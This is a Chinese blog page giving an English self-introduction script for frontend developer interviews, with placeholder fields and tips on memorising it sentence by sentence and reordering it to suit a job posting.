"Hi, my name is 你的名字. I'm a frontend developer with X years of experience. I mainly work with React and TypeScript. Currently I work at 公司名 as a 职位名, on the 项目名 project. My day-to-day work includes building UI components, integrating with backend APIs, and writing unit tests. I have experience with authentication flows like OAuth 2.0 and JWT. I also care about frontend security, such as preventing XSS and CSRF. I'm familiar with performance optimization, like reducing bundle size and improving Core Web Vitals. I use tools like Vite, Vitest, and React Testing Library in my workflow. I enjoy writing clean, maintainable code and collaborating closely with my team. That's a quick overview of my background --- happy to go deeper into any part of it."

使用建议:

  • 每句话尽量保持在 10-15 个单词以内,这样即使忘词也容易临场重组,不会卡在一个长从句里说不下去。
  • 第 4-9 句可以根据面试的岗位 JD 调整顺序和侧重------比如面试偏安全的岗位就把第 6、7 句往前提。
  • 背的时候按"一句一个意思点"记忆,而不是整段背诵,这样被打断提问后也能迅速找到下一个意思点继续说。
相关推荐
酷炫码神1 小时前
Day 6|ES6+ 语法:把现代 JS 写顺手,从解构到 map / filter / reduce
前端·javascript·es6
lemon_sjdk1 小时前
从一段真实的 Electron IM 前端代码,看高级前端的工程化修养
前端·electron·状态模式·im
晓得迷路了2 小时前
栗子前端技术周刊第 150 期 - Stack Overflow 开发者调查结果、TanStack Start 1.0...
javascript·css·后端
IT_陈寒2 小时前
Vite性能优化完全指南
前端·人工智能·后端
燕落南枝2 小时前
HTML 表单入门:表单容器、文本框与密码框属性详解
前端·microsoft·html
TYC92 小时前
Mac创建Vue3+TypeScript或者React+TypeScript项目
前端·javascript·typescript
程序员小孔.2 小时前
基于 SpringBoot + UniApp + Vue 的家政服务系统设计与实现
前端·数据库·spring boot·python·docker·微信小程序
Profile排查笔记2 小时前
指纹浏览器 GitHub 项目怎么选?先看仓库交付的是工具、内核还是管理器
前端·人工智能·后端·自动化
风骏时光牛马2 小时前
云原生驱动的分布式高可用架构设计与落地实践
前端